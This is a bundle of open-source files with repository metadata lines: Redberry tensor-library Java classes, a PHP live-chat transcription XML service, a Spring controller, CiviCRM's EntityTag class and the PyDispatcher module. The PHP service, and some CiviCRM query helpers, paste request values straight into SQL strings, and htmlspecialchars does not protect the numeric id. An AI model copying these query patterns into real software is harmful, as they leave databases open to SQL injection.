random.setSeed(this.seed = random.nextLong());
} finally {
writeLock.unlock();
}
}
/**
* See {@link Context#resetTensorNames()}.
*/
void reset(long seed) {
writeLock.lock();
try {
kroneckerAndMetricIds.clear();
fromId.clear();
fromStructure.clear();
random.setSeed(this.seed = seed);
} finally {
writeLock.unlock();
}
}
/**
* <b>Important:</b> run only in write lock!
*/
private int generateNewName() {
int name;
do
name = random.nextInt();
while (fromId.containsKey(name));
return name;
}
/**
* Returns the name descriptor of the specified unique identifier of simple tensor.
*
* @param nameId unique identifier of simple tensor
* @return name descriptor of the specified unique identifier of simple tensor
*/
public NameDescriptor getNameDescriptor(int nameId) {
readLock.lock();
try {
return fromId.get(nameId);
} finally {
readLock.unlock();
}
}
/*
public boolean containsNameId(int nameId) {
if (nameId < 0)
return false;
writeLock.lock();
try {
return fromId.size() > nameId;
} finally {
writeLock.unlock();
}
}*/
/**
* Returns the seed of the random generator used in name manager.
*
* @return seed of the random generator
*/
public long getSeed() {
return seed;
}
}
| redberry-cas/core | src/main/java/cc/redberry/core/context/NameManager.java | Java | gpl-2.0 | 10,565 |
/*
* Redberry: symbolic tensor computations.
*
* Copyright (c) 2010-2013:
* Stanislav Poslavsky <stvlpos@mail.ru>
* Bolotin Dmitriy <bolotin.dmitriy@gmail.com>
*
* This file is part of Redberry.
*
* Redberry is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Redberry is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Redberry. If not, see <http://www.gnu.org/licenses/>.
*/
package cc.redberry.core.transformations.substitutions;
import cc.redberry.core.indexmapping.IndexMappingBuffer;
import cc.redberry.core.indexmapping.IndexMappings;
import cc.redberry.core.indices.Indices;
import cc.redberry.core.tensor.ApplyIndexMapping;
import cc.redberry.core.tensor.Tensor;
import cc.redberry.core.tensor.TensorField;
import cc.redberry.core.tensor.Tensors;
import cc.redberry.core.utils.TensorUtils;
import java.util.ArrayList;
import java.util.List;
/**
* @author Dmitry Bolotin
* @author Stanislav Poslavsky
*/
class PrimitiveTensorFieldSubstitution extends PrimitiveSubstitution {
public PrimitiveTensorFieldSubstitution(Tensor from, Tensor to) {
super(from, to);
}
@Override
Tensor newTo_(Tensor currentNode, SubstitutionIterator iterator) {
TensorField currentField = (TensorField) currentNode;
TensorField from = (TensorField) this.from;
IndexMappingBuffer buffer = IndexMappings.simpleTensorsPort(from, currentField).take();
if (buffer == null)
return currentNode;
Indices[] fromIndices = from.getArgIndices(),
currentIndices = currentField.getArgIndices();
List<Tensor> argFrom = new ArrayList<>(), argTo = new ArrayList<>();
Tensor fArg;
int[] cIndices, fIndices;
int i;
for (i = from.size() - 1; i >= 0; --i) {
if (IndexMappings.positiveMappingExists(currentNode.get(i), from.get(i)))
continue;
fIndices = fromIndices[i].getAllIndices().copy();
cIndices = currentIndices[i].getAllIndices().copy();
assert cIndices.length == fIndices.length;
fArg = ApplyIndexMapping.applyIndexMapping(from.get(i), fIndices, cIndices, new int[0]);
argFrom.add(fArg);
argTo.add(currentNode.get(i));
}
Tensor newTo = to;
newTo = new SubstitutionTransformation(
argFrom.toArray(new Tensor[argFrom.size()]),
argTo.toArray(new Tensor[argTo.size()]),
false).transform(newTo);
if (!TensorUtils.isSymbolic(newTo))
newTo = ApplyIndexMapping.applyIndexMapping(newTo, buffer, iterator.getForbidden());
else if (buffer.getSign())
newTo = Tensors.negate(newTo);
return newTo;
}
}
| redberry-cas/core | src/main/java/cc/redberry/core/transformations/substitutions/PrimitiveTensorFieldSubstitution.java | Java | gpl-2.0 | 3,205 |
<?php
ob_start("ob_gzhandler");
include('../import/config_database.php');
include('../import/class.mysql.php');
include('../import/functions.php');
checkSession();
// Open MySQL Connection
$SQL = new MySQL();
$SQL->connect();
if (!isset($_REQUEST['ACTION']))
{
$_REQUEST['ACTION'] = '';
} else $_REQUEST['ACTION'] = htmlspecialchars ( (string) $_REQUEST['ACTION'], ENT_QUOTES );
if (!isset($_REQUEST['REQUEST']))
{
$_REQUEST['REQUEST'] = '';
} else $_REQUEST['REQUEST'] = htmlspecialchars ( (string) $_REQUEST['REQUEST'], ENT_QUOTES );
if (!isset($_REQUEST['VISITOR_EMAIL']))
{
$_REQUEST['VISITOR_EMAIL'] = '';
} else $_REQUEST['VISITOR_EMAIL'] = htmlspecialchars ( (string) $_REQUEST['VISITOR_EMAIL'], ENT_QUOTES );
if (!isset($_REQUEST['DATE_START']))
{
$_REQUEST['DATE_START'] = '';
} else $_REQUEST['DATE_START'] = htmlspecialchars ( (string) $_REQUEST['DATE_START'], ENT_QUOTES );
if (!isset($_REQUEST['DATE_END']))
{
$_REQUEST['DATE_END'] = '';
} else $_REQUEST['DATE_END'] = htmlspecialchars ( (string) $_REQUEST['DATE_END'], ENT_QUOTES );
if (!isset($_REQUEST['TRANSCRIPTION']))
{
$_REQUEST['TRANSCRIPTION'] = '';
} else $_REQUEST['TRANSCRIPTION'] = htmlspecialchars ( (string) $_REQUEST['TRANSCRIPTION'], ENT_QUOTES );
if (!isset($_REQUEST['OPERATORID']))
{
$operator_login_id = $_REQUEST['OPERATORID'];
} $operator_login_id = $_REQUEST['OPERATORID'] = (int) $_REQUEST['OPERATORID'];
$action = $_REQUEST['ACTION'];
$request = $_REQUEST['REQUEST'];
$visitor_email = $_REQUEST['VISITOR_EMAIL'];
$transcription_id = $_REQUEST['TRANSCRIPTION'];
$date_start = $_REQUEST['DATE_START'];
$date_end = $_REQUEST['DATE_END'];
define('LANGUAGE_TYPE', $language);
$language_file = '../i18n/' . LANGUAGE_TYPE . '/lang_service_' . LANGUAGE_TYPE . '.php';
if (LANGUAGE_TYPE != '') {
include($language_file);
}
else {
include('../i18n/en/lang_service_en.php');
}
$charset = 'utf-8';
header('Content-type: text/xml; charset=' . $charset);
/*echo('<?xml version="1.0" encoding="' . $charset . '"?>' . "\n");*/
// get the agent security level
if ($action == 'list')
{
$query = "select privilege from " . $table_prefix . "users where `id` =" .$operator_login_id ;
$row = $SQL->selectquery($query);
if (is_array($row))
{
$privilege = $row['privilege'];
}
}
?>
<?php
if ($transcription_id != '')
{
$query_where = "jls.id =" .$transcription_id ;
}
else
if ($visitor_email != '')
{
$query_where = "jls.email = '$visitor_email' ";
}
else
if ($date_start != '' && $date_end != '')
{
$query_where = "DATE_FORMAT(jls.datetime, '%Y-%m-%d')>= '$date_start' and DATE_FORMAT(jls.datetime, '%Y-%m-%d')<= '$date_end' ";
}
if ($privilege == '0' )
{
$query = "select jls.id, jls.username , jls.company, jls.phone, jld.name , DATE_FORMAT(jls.refresh,'%m/%d/%Y') date , (TIMEDIFF(jls.refresh, jls.datetime)) Duration , jls.email ".
"from " . $table_prefix . "sessions jls , " . $table_prefix . "domains jld ".
"where ". "$query_where" . " and jls.id_user = '$operator_login_id' and jls.id_domain = jld.id_domain";
}
else
if ($privilege == '1' )
{
$query = "select jls.id, jls.username , jls.company, jls.phone, jld.name , DATE_FORMAT(jls.refresh,'%m/%d/%Y') date , (TIMEDIFF(jls.refresh, jls.datetime)) Duration , jls.email ".
"from " . $table_prefix . "sessions jls , " . $table_prefix . "domain_user jldu , " . $table_prefix . "domains jld ".
"where jldu.id_user = '$operator_login_id' and jls.id_domain = jldu.id_domain and " . "$query_where" . " and jls.id_domain = jld.id_domain";
}
?>
<Transcriptions>
<?php
$rows = $SQL->selectall($query);
if (is_array($rows))
{
foreach ($rows as $key => $row)
{
if (is_array($row))
{
$current_chat_id = $row['id'];
$current_username = $row['username'];
$current_domain = $row['name'];
$current_date = $row['date'];
$current_duration = $row['Duration'];
$current_email = $row['email'];
$current_company = $row['company'];
$current_phone = $row['phone'];
?>
<Transcription>
<Id><?php echo(xmlinvalidchars($current_chat_id));?></Id>
<domain><?php echo(xmlinvalidchars($current_domain));?></domain>
<Username><?php echo(xmlinvalidchars($current_username));?></Username>
<Email><?php echo(xmlinvalidchars($current_email));?></Email>
<Company><?php echo(xmlinvalidchars($current_company));?></Company>
<Phone><?php echo(xmlinvalidchars($current_phone));?></Phone>
<Date><?php echo(xmlinvalidchars($current_date));?></Date>
<Duration><?php echo(xmlinvalidchars($current_duration));?></Duration>
</Transcription>
<?php
}
?>
<?php
}
?>
<?php
}
?>
</Transcriptions>
| ihooper/bluespan | sites/all/modules/contrib/activehelper_livehelp/server/services/transcriptions.php | PHP | gpl-2.0 | 5,180 |
package org.myorganization.template.web.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
public class HomeController {
@RequestMapping("/")
public String getHome() {
return "home";
}
}
| ijgomez/workspace-test | template-app/webapp/src/main/java/org/myorganization/template/web/controller/HomeController.java | Java | gpl-2.0 | 281 |
<?php
/*
+--------------------------------------------------------------------+
| CiviCRM version 4.1 |
+--------------------------------------------------------------------+
| Copyright CiviCRM LLC (c) 2004-2011 |
+--------------------------------------------------------------------+
| This file is a part of CiviCRM. |
| |
| CiviCRM is free software; you can copy, modify, and distribute it |
| under the terms of the GNU Affero General Public License |
| Version 3, 19 November 2007 and the CiviCRM Licensing Exception. |
| |
| CiviCRM is distributed in the hope that it will be useful, but |
| WITHOUT ANY WARRANTY; without even the implied warranty of |
| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. |
| See the GNU Affero General Public License for more details. |
| |
| You should have received a copy of the GNU Affero General Public |
| License and the CiviCRM Licensing Exception along |
| with this program; if not, contact CiviCRM LLC |
| at info[AT]civicrm[DOT]org. If you have questions about the |
| GNU Affero General Public License or the licensing of CiviCRM, |
| see the CiviCRM license FAQ at http://civicrm.org/licensing |
+--------------------------------------------------------------------+
*/
/**
* This class contains functions for managing Tag(tag) for a contact
*
* @package CRM
* @copyright CiviCRM LLC (c) 2004-2011
* $Id$
*
*/
require_once 'CRM/Core/DAO/EntityTag.php';
class CRM_Core_BAO_EntityTag extends CRM_Core_DAO_EntityTag
{
/**
*
* Given a contact id, it returns an array of tag id's the
* contact belongs to.
*
* @param int $entityID id of the entity usually the contactID.
* @param string $entityTable name of the entity table usually 'civicrm_contact'
* @return array() reference $tag array of catagory id's the contact belongs to.
*
* @access public
* @static
*/
static function &getTag( $entityID, $entityTable = 'civicrm_contact' )
{
$tags = array( );
$entityTag = new CRM_Core_BAO_EntityTag();
$entityTag->entity_id = $entityID;
$entityTag->entity_table = $entityTable;
$entityTag->find();
while ($entityTag->fetch()) {
$tags[$entityTag->tag_id] = $entityTag->tag_id;
}
return $tags;
}
/**
* takes an associative array and creates a entityTag object
*
* the function extract all the params it needs to initialize the create a
* group object. the params array could contain additional unused name/value
* pairs
*
* @param array $params (reference ) an assoc array of name/value pairs
*
* @return object CRM_Core_BAO_EntityTag object
* @access public
* @static
*/
static function add( &$params )
{
$dataExists = self::dataExists( $params );
if ( ! $dataExists ) {
return null;
}
$entityTag = new CRM_Core_BAO_EntityTag( );
$entityTag->copyValues( $params );
// dont save the object if it already exists, CRM-1276
if ( ! $entityTag->find( true ) ) {
$entityTag->save( );
//invoke post hook on entityTag
require_once 'CRM/Utils/Hook.php';
// we are using this format to keep things consistent between the single and bulk operations
// so a bit different from other post hooks
$object = array( 0 => array( 0 => $params['entity_id'] ), 1 => $params['entity_table'] );
CRM_Utils_Hook::post( 'create', 'EntityTag', $params['tag_id'], $object );
}
return $entityTag;
}
/**
* Check if there is data to create the object
*
* @params array $params (reference ) an assoc array of name/value pairs
*
* @return boolean
* @access public
* @static
*/
static function dataExists( &$params )
{
return ($params['tag_id'] == 0) ? false : true;
}
/**
* Function to delete the tag for a contact
*
* @param array $params (reference ) an assoc array of name/value pairs
*
* @return object CRM_Core_BAO_EntityTag object
* @access public
* @static
*
*/
static function del( &$params )
{
$entityTag = new CRM_Core_BAO_EntityTag( );
$entityTag->copyValues( $params );
if ( $entityTag->find( true ) ) {
$entityTag->delete( );
//invoke post hook on entityTag
require_once 'CRM/Utils/Hook.php';
$object = array( 0 => array( 0 => $params['entity_id'] ), 1 => $params['entity_table'] );
CRM_Utils_Hook::post( 'delete', 'EntityTag', $params['tag_id'], $object );
}
}
/**
* Given an array of entity ids and entity table, add all the entity to the tags
*
* @param array $entityIds (reference ) the array of entity ids to be added
* @param int $tagId the id of the tag
* @params string $entityTable name of entity table default:civicrm_contact
*
* @return array (total, added, notAdded) count of enities added to tag
* @access public
* @static
*/
static function addEntitiesToTag( &$entityIds, $tagId, $entityTable = 'civicrm_contact' ) {
$numEntitiesAdded = 0;
$numEntitiesNotAdded = 0;
$entityIdsAdded = array();
foreach ( $entityIds as $entityId ) {
$tag = new CRM_Core_DAO_EntityTag( );
$tag->entity_id = $entityId;
$tag->tag_id = $tagId;
$tag->entity_table = $entityTable;
if ( ! $tag->find( ) ) {
$tag->save( );
$entityIdsAdded[] = $entityId;
$numEntitiesAdded++;
} else {
$numEntitiesNotAdded++;
}
}
//invoke post hook on entityTag
require_once 'CRM/Utils/Hook.php';
$object = array( $entityIdsAdded, $entityTable );
CRM_Utils_Hook::post('create', 'EntityTag', $tagId, $object );
// reset the group contact cache for all groups
// if tags are being used in a smart group
require_once 'CRM/Contact/BAO/GroupContactCache.php';
CRM_Contact_BAO_GroupContactCache::remove( );
return array( count($entityIds), $numEntitiesAdded, $numEntitiesNotAdded );
}
/**
* Given an array of entity ids and entity table, remove entity(s) tags
*
* @param array $entityIds (reference ) the array of entity ids to be removed
* @param int $tagId the id of the tag
* @params string $entityTable name of entity table default:civicrm_contact
*
* @return array (total, removed, notRemoved) count of entities removed from tags
* @access public
* @static
*/
static function removeEntitiesFromTag( &$entityIds, $tagId, $entityTable = 'civicrm_contact' )
{
$numEntitiesRemoved = 0;
$numEntitiesNotRemoved = 0;
$entityIdsRemoved = array();
foreach ( $entityIds as $entityId ) {
$tag = new CRM_Core_DAO_EntityTag( );
$tag->entity_id = $entityId;
$tag->tag_id = $tagId;
$tag->entity_table = $entityTable;
if ( $tag->find( ) ) {
$tag->delete( );
$entityIdsRemoved[] = $entityId;
$numEntitiesRemoved++;
} else {
$numEntitiesNotRemoved++;
}
}
//invoke post hook on entityTag
require_once 'CRM/Utils/Hook.php';
$object = array( $entityIdsRemoved, $entityTable );
CRM_Utils_Hook::post( 'delete', 'EntityTag', $tagId, $object );
// reset the group contact cache for all groups
// if tags are being used in a smart group
require_once 'CRM/Contact/BAO/GroupContactCache.php';
CRM_Contact_BAO_GroupContactCache::remove( );
return array( count($entityIds), $numEntitiesRemoved, $numEntitiesNotRemoved );
}
/**
* takes an associative array and creates a contact tags object
*
*
* @param array $params (reference ) an assoc array of name/value pairs
* @param array $contactId contact id
*
* @return void
* @access public
* @static
*/
static function create( &$params, $entityTable, $entityID )
{
// get categories for the contact id
$entityTag = CRM_Core_BAO_EntityTag::getTag( $entityID, $entityTable );
// get the list of all the categories
require_once 'CRM/Core/BAO/Tag.php';
$allTag = CRM_Core_BAO_Tag::getTags( $entityTable );
// this fix is done to prevent warning generated by array_key_exits incase of empty array is given as input
if (!is_array($params)) {
$params = array( );
}
// this fix is done to prevent warning generated by array_key_exits incase of empty array is given as input
if (!is_array($entityTag)) {
$entityTag = array();
}
// check which values has to be inserted/deleted for contact
foreach ($allTag as $key => $varValue) {
$tagParams['entity_table'] = $entityTable;
$tagParams['entity_id'] = $entityID;
$tagParams['tag_id'] = $key;
if (array_key_exists($key, $params) && !array_key_exists($key, $entityTag) ) {
// insert a new record
CRM_Core_BAO_EntityTag::add($tagParams);
} else if (!array_key_exists($key, $params) && array_key_exists($key, $entityTag) ) {
// delete a record for existing contact
CRM_Core_BAO_EntityTag::del($tagParams);
}
}
}
/**
* This function returns all entities assigned to a specific tag
*
* @param object $tag an object of a tag.
*
* @return array $contactIds array of contact ids
* @access public
*/
function getEntitiesByTag($tag)
{
$contactIds = array();
$entityTagDAO = new CRM_Core_DAO_EntityTag();
$entityTagDAO->tag_id = $tag->id;
$entityTagDAO->find();
while($entityTagDAO->fetch()) {
$contactIds[] = $entityTagDAO->contact_id;
}
return $contactIds;
}
/**
* Function to get contact tags
*/
function getContactTags( $contactID, $count = false ) {
$contactTags = array( );
if ( !$count ) {
$select = "SELECT name ";
} else {
$select = "SELECT count(*) as cnt";
}
$query = "{$select}
FROM civicrm_tag ct
INNER JOIN civicrm_entity_tag et ON ( ct.id = et.tag_id AND
et.entity_id = {$contactID} AND
et.entity_table = 'civicrm_contact' AND
ct.is_tagset = 0 )";
$dao = CRM_Core_DAO::executeQuery( $query );
if ( $count ) {
$dao->fetch();
return $dao->cnt;
}
while( $dao->fetch( ) ) {
$contactTags[] = $dao->name;
}
return $contactTags;
}
/**
* Function to get child contact tags given parentId
*/
static function getChildEntityTags( $parentId, $entityId, $entityTable = 'civicrm_contact' ) {
$entityTags = array( );
$query = "SELECT ct.id as tag_id, name FROM civicrm_tag ct
INNER JOIN civicrm_entity_tag et ON ( et.entity_id = {$entityId} AND
et.entity_table = '{$entityTable}' AND et.tag_id = ct.id)
WHERE ct.parent_id = {$parentId}";
$dao = CRM_Core_DAO::executeQuery( $query );
while( $dao->fetch( ) ) {
$entityTags[$dao->tag_id] = array( 'id' => $dao->tag_id,
'name' => $dao->name
);
}
return $entityTags;
}
/**
* Function to merge two tags: tag B into tag A.
*/
function mergeTags( $tagAId, $tagBId ) {
$queryParams = array( 1 => array($tagBId, 'Integer'),
2 => array($tagAId, 'Integer') );
// re-compute used_for field
$query = "SELECT id, name, used_for FROM civicrm_tag WHERE id IN (%1, %2)";
$dao = CRM_Core_DAO::executeQuery( $query, $queryParams );
$tags = array( );
while( $dao->fetch( ) ) {
$label = ( $dao->id == $tagAId ) ? 'tagA' : 'tagB';
$tags[$label] = $dao->name;
$tags["{$label}_used_for"] = $dao->used_for ? explode( ",", $dao->used_for ) : array( );
}
$usedFor = array_merge( $tags["tagA_used_for"], $tags["tagB_used_for"] );
$usedFor = implode( ',', array_unique($usedFor) );
$tags["tagB_used_for"] = explode( ",", $usedFor );
// get all merge queries together
$sqls = array(
// 1. update entity tag entries
"UPDATE civicrm_entity_tag SET tag_id = %1 WHERE tag_id = %2",
// 2. update used_for info for tag B
"UPDATE civicrm_tag SET used_for = '{$usedFor}' WHERE id = %1",
// 3. remove tag A, if tag A is getting merged into B
"DELETE FROM civicrm_tag WHERE id = %2",
// 4. remove duplicate entity tag records
"DELETE et2.* from civicrm_entity_tag et1 INNER JOIN civicrm_entity_tag et2 ON et1.entity_table = et2.entity_table AND et1.entity_id = et2.entity_id AND et1.tag_id = et2.tag_id WHERE et1.id < et2.id",
);
$tables = array( 'civicrm_entity_tag', 'civicrm_tag' );
// Allow hook_civicrm_merge() to add SQL statements for the merge operation AND / OR
// perform any other actions like logging
CRM_Utils_Hook::merge( 'sqls', $sqls, $tagAId, $tagBId, $tables );
// call the SQL queries in one transaction
require_once 'CRM/Core/Transaction.php';
$transaction = new CRM_Core_Transaction( );
foreach ( $sqls as $sql ) {
CRM_Core_DAO::executeQuery( $sql, $queryParams, true, null, true );
}
$transaction->commit( );
$tags['status'] = true;
return $tags;
}
}
| jblanford/Uber-Web-Site | sites/all/modules/civicrm/CRM/Core/BAO/EntityTag.php | PHP | gpl-2.0 | 14,984 |
"""Multiple-producer-multiple-consumer signal-dispatching
dispatcher is the core of the PyDispatcher system,
providing the primary API and the core logic for the
system.
Module attributes of note:
Any -- Singleton used to signal either "Any Sender" or
"Any Signal". See documentation of the _Any class.
Anonymous -- Singleton used to signal "Anonymous Sender"
See documentation of the _Anonymous class.
Internal attributes:
WEAKREF_TYPES -- tuple of types/classes which represent
weak references to receivers, and thus must be de-
referenced on retrieval to retrieve the callable
object
connections -- { senderkey (id) : { signal : [receivers...]}}
senders -- { senderkey (id) : weakref(sender) }
used for cleaning up sender references on sender
deletion
sendersBack -- { receiverkey (id) : [senderkey (id)...] }
used for cleaning up receiver references on receiver
deletion, (considerably speeds up the cleanup process
vs. the original code.)
"""
from __future__ import generators
import types, weakref
import saferef, robustapply, errors
__author__ = "Patrick K. O'Brien <pobrien@orbtech.com>"
__cvsid__ = "$Id: dispatcher.py,v 1.9 2005/09/17 04:55:57 mcfletch Exp $"
__version__ = "$Revision: 1.9 $"[11:-2]
try:
True
except NameError:
True = 1==1
False = 1==0
class _Parameter:
"""Used to represent default parameter values."""
def __repr__(self):
return self.__class__.__name__
class _Any(_Parameter):
"""Singleton used to signal either "Any Sender" or "Any Signal"
The Any object can be used with connect, disconnect,
send, or sendExact to signal that the parameter given
Any should react to all senders/signals, not just
a particular sender/signal.
"""
Any = _Any()
class _Anonymous(_Parameter):
"""Singleton used to signal "Anonymous Sender"
The Anonymous object is used to signal that the sender
of a message is not specified (as distinct from being
"any sender"). Registering callbacks for Anonymous
will only receive messages sent without senders. Sending
with anonymous will only send messages to those receivers
registered for Any or Anonymous.
Note:
The default sender for connect is Any, while the
default sender for send is Anonymous. This has
the effect that if you do not specify any senders
in either function then all messages are routed
as though there was a single sender (Anonymous)
being used everywhere.
"""
Anonymous = _Anonymous()
WEAKREF_TYPES = (weakref.ReferenceType, saferef.BoundMethodWeakref)
connections = {}
senders = {}
sendersBack = {}
def connect(receiver, signal=Any, sender=Any, weak=True):
"""Connect receiver to sender for signal
receiver -- a callable Python object which is to receive
messages/signals/events. Receivers must be hashable
objects.
if weak is True, then receiver must be weak-referencable
(more precisely saferef.safeRef() must be able to create
a reference to the receiver).
Receivers are fairly flexible in their specification,
as the machinery in the robustApply module takes care
of most of the details regarding figuring out appropriate
subsets of the sent arguments to apply to a given
receiver.
Note:
if receiver is itself a weak reference (a callable),
it will be de-referenced by the system's machinery,
so *generally* weak references are not suitable as
receivers, though some use might be found for the
facility whereby a higher-level library passes in
pre-weakrefed receiver references.
signal -- the signal to which the receiver should respond
if Any, receiver will receive any signal from the
indicated sender (which might also be Any, but is not
necessarily Any).
Otherwise must be a hashable Python object other than
None (DispatcherError raised on None).
sender -- the sender to which the receiver should respond
if Any, receiver will receive the indicated signals
from any sender.
if Anonymous, receiver will only receive indicated
signals from send/sendExact which do not specify a
sender, or specify Anonymous explicitly as the sender.
Otherwise can be any python object.
weak -- whether to use weak references to the receiver
By default, the module will attempt to use weak
references to the receiver objects. If this parameter
is false, then strong references will be used.
returns None, may raise DispatcherTypeError
"""
if signal is None:
raise errors.DispatcherTypeError(
'Signal cannot be None (receiver=%r sender=%r)'%( receiver,sender)
)
if weak:
receiver = saferef.safeRef(receiver, onDelete=_removeReceiver)
senderkey = id(sender)
if connections.has_key(senderkey):
signals = connections[senderkey]
else:
connections[senderkey] = signals = {}
# Keep track of senders for cleanup.
# Is Anonymous something we want to clean up?
if sender not in (None, Anonymous, Any):
def remove(object, senderkey=senderkey):
_removeSender(senderkey=senderkey)
# Skip objects that can not be weakly referenced, which means
# they won't be automatically cleaned up, but that's too bad.
try:
weakSender = weakref.ref(sender, remove)
senders[senderkey] = weakSender
except:
pass
receiverID = id(receiver)
# get current set, remove any current references to
# this receiver in the set, including back-references
if signals.has_key(signal):
receivers = signals[signal]
_removeOldBackRefs(senderkey, signal, receiver, receivers)
else:
receivers = signals[signal] = []
try:
current = sendersBack.get( receiverID )
if current is None:
sendersBack[ receiverID ] = current = []
if senderkey not in current:
current.append(senderkey)
except:
pass
receivers.append(receiver)
def disconnect(receiver, signal=Any, sender=Any, weak=True):
"""Disconnect receiver from sender for signal
receiver -- the registered receiver to disconnect
signal -- the registered signal to disconnect
sender -- the registered sender to disconnect
weak -- the weakref state to disconnect
disconnect reverses the process of connect,
the semantics for the individual elements are
logically equivalent to a tuple of
(receiver, signal, sender, weak) used as a key
to be deleted from the internal routing tables.
(The actual process is slightly more complex
but the semantics are basically the same).
Note:
Using disconnect is not required to cleanup
routing when an object is deleted, the framework
will remove routes for deleted objects
automatically. It's only necessary to disconnect
if you want to stop routing to a live object.
returns None, may raise DispatcherTypeError or
DispatcherKeyError
"""
if signal is None:
raise errors.DispatcherTypeError(
'Signal cannot be None (receiver=%r sender=%r)'%( receiver,sender)
)
if weak: receiver = saferef.safeRef(receiver)
senderkey = id(sender)
try:
signals = connections[senderkey]
receivers = signals[signal]
except KeyError:
raise errors.DispatcherKeyError(
"""No receivers found for signal %r from sender %r""" %(
signal,
sender
)
)
try:
# also removes from receivers
_removeOldBackRefs(senderkey, signal, receiver, receivers)
except ValueError:
raise errors.DispatcherKeyError(
"""No connection to receiver %s for signal %s from sender %s""" %(
receiver,
signal,
sender
)
)
_cleanupConnections(senderkey, signal)
def getReceivers( sender = Any, signal = Any ):
"""Get list of receivers from global tables
This utility function allows you to retrieve the
raw list of receivers from the connections table
for the given sender and signal pair.
Note:
there is no guarantee that this is the actual list
stored in the connections table, so the value
should be treated as a simple iterable/truth value
rather than, for instance a list to which you
might append new records.
Normally you would use liveReceivers( getReceivers( ...))
to retrieve the actual receiver objects as an iterable
object.
"""
try:
return connections[id(sender)][signal]
except KeyError:
return []
def liveReceivers(receivers):
"""Filter sequence of receivers to get resolved, live receivers
This is a generator which will iterate over
the passed sequence, checking for weak references
and resolving them, then returning all live
receivers.
"""
for receiver in receivers:
if isinstance( receiver, WEAKREF_TYPES):
# Dereference the weak reference.
receiver = receiver()
if receiver is not None:
yield receiver
else:
yield receiver
def getAllReceivers( sender = Any, signal = Any ):
"""Get list of all receivers from global tables
This gets all receivers which should receive
the given signal from sender, each receiver should
be produced only once by the resulting generator
"""
receivers = {}
for set in (
# Get receivers that receive *this* signal from *this* sender.
getReceivers( sender, signal ),
# Add receivers that receive *any* signal from *this* sender.
getReceivers( sender, Any ),
# Add receivers that receive *this* signal from *any* sender.
getReceivers( Any, signal ),
# Add receivers that receive *any* signal from *any* sender.
getReceivers( Any, Any ),
):
for receiver in set:
if receiver: # filter out dead instance-method weakrefs
try:
if not receivers.has_key( receiver ):
receivers[receiver] = 1
yield receiver
except TypeError:
# dead weakrefs raise TypeError on hash...
pass
def send(signal=Any, sender=Anonymous, *arguments, **named):
"""Send signal from sender to all connected receivers.
signal -- (hashable) signal value, see connect for details
sender -- the sender of the signal
if Any, only receivers registered for Any will receive
the message.
if Anonymous, only receivers registered to receive
messages from Anonymous or Any will receive the message
Otherwise can be any python object (normally one
registered with a connect if you actually want
something to occur).
arguments -- positional arguments which will be passed to
*all* receivers. Note that this may raise TypeErrors
if the receivers do not allow the particular arguments.
Note also that arguments are applied before named
arguments, so they should be used with care.
named -- named arguments which will be filtered according
to the parameters of the receivers to only provide those
acceptable to the receiver.
Return a list of tuple pairs [(receiver, response), ... ]
if any receiver raises an error, the error propagates back
through send, terminating the dispatch loop, so it is quite
possible to not have all receivers called if a raises an
error.
"""
# Call each receiver with whatever arguments it can accept.
# Return a list of tuple pairs [(receiver, response), ... ].
responses = []
for receiver in liveReceivers(getAllReceivers(sender, signal)):
response = robustapply.robustApply(
receiver,
signal=signal,
sender=sender,
*arguments,
**named
)
responses.append((receiver, response))
return responses
def sendExact( signal=Any, sender=Anonymous, *arguments, **named ):
"""Send signal only to those receivers registered for exact message
sendExact allows for avoiding Any/Anonymous registered
handlers, sending only to those receivers explicitly
registered for a particular signal on a particular
sender.
"""
responses = []
for receiver in liveReceivers(getReceivers(sender, signal)):
response = robustapply.robustApply(
receiver,
signal=signal,
sender=sender,
*arguments,
**named
)
responses.append((receiver, response))
return responses
def _removeReceiver(receiver):
"""Remove receiver from connections."""
if not sendersBack:
# During module cleanup the mapping will be replaced with None
return False
backKey = id(receiver)
for senderkey in sendersBack.get(backKey,()):
try:
signals = connections[senderkey].keys()
except KeyError,err:
pass
else:
for signal in signals:
try:
receivers = connections[senderkey][signal]
except KeyError:
pass
else:
try:
receivers.remove( receiver )
except Exception, err:
pass
_cleanupConnections(senderkey, signal)
try:
del sendersBack[ backKey ]
except KeyError:
pass
def _cleanupConnections(senderkey, signal):
"""Delete any empty signals for senderkey. Delete senderkey if empty."""
try:
receivers = connections[senderkey][signal]
except:
pass
else:
if not receivers:
# No more connected receivers. Therefore, remove the signal.
try:
signals = connections[senderkey]
except KeyError:
pass
else:
del signals[signal]
if not signals:
# No more signal connections. Therefore, remove the sender.
_removeSender(senderkey)
def _removeSender(senderkey):
"""Remove senderkey from connections."""
_removeBackrefs(senderkey)
try:
del connections[senderkey]
except KeyError:
pass
# Senderkey will only be in senders dictionary if sender
# could be weakly referenced.
try:
del senders[senderkey]
except:
pass
def _removeBackrefs( senderkey):
"""Remove all back-references to this senderkey"""
try:
signals = connections[senderkey]
except KeyError:
signals = None
else:
items = signals.items()
def allReceivers( ):
for signal,set in items:
for item in set:
yield item
for receiver in allReceivers():
_killBackref( receiver, senderkey )
def _removeOldBackRefs(senderkey, signal, receiver, receivers):
"""Kill old sendersBack references from receiver
This guards against multiple registration of the same
receiver for a given signal and sender leaking memory
as old back reference records build up.
Also removes old receiver instance from receivers
"""
try:
index = receivers.index(receiver)
# need to scan back references here and remove senderkey
except ValueError:
return False
else:
oldReceiver = receivers[index]
del receivers[index]
found = 0
signals = connections.get(signal)
if signals is not None:
for sig,recs in connections.get(signal,{}).iteritems():
if sig != signal:
for rec in recs:
if rec is oldReceiver:
found = 1
break
if not found:
_killBackref( oldReceiver, senderkey )
return True
return False
def _killBackref( receiver, senderkey ):
"""Do the actual removal of back reference from receiver to senderkey"""
receiverkey = id(receiver)
set = sendersBack.get( receiverkey, () )
while senderkey in set:
try:
set.remove( senderkey )
except:
break
if not set:
try:
del sendersBack[ receiverkey ]
except KeyError:
pass
return True
| fregaham/DISP | sqlobject/include/pydispatch/dispatcher.py | Python | gpl-2.0 | 14,593 |
/*
* 员工开发情况表
*/
// global vars
col = -1;
proj_no = '';
proj_user = '';
